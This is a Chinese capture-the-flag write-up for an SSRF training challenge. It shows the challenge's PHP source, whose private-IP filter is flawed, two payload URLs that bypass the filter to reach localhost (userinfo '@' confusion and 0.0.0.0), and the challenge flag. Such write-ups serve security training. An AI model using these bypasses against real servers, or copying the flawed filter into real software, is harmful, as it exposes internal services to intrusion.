从0到1的ctfer--SSRF Training Writeup
从0到1的ctfer--SSRF Training Writeup
题目页面如下:

发现只有intersting_challenge能交互,点进去是源码:
<?php
highlight_file(__FILE__);
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); //必须以http或https开头
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url); //解析url
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host']; //提取解析后的host(主机名或ip)
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; //检查ip名是否指向内网ip
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init(); //发送curl请求
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
?>
过滤了一些内网ip。
解法1.绕过对hostname的检查
http://a:@127.0.0.1:80@example.com/flag.php
url解析时通常会将最后一个@符号后面的内容作为ip地址解析,这样example.com就被解析为了hostname,但实际ip还是127.0.0.1,从而绕过了gethostname函数。
解法2.直接使用未被过滤的ip地址
既然过滤了部分内网ip,那么使用没被过滤的ip不就行了?比如0.0.0.0就没被过滤。
http://0.0.0.0/flag.php
本题flag:n1book{ug9thaevi2JoobaiLiiLah4zae6fie4r}

浙公网安备 33010602011771号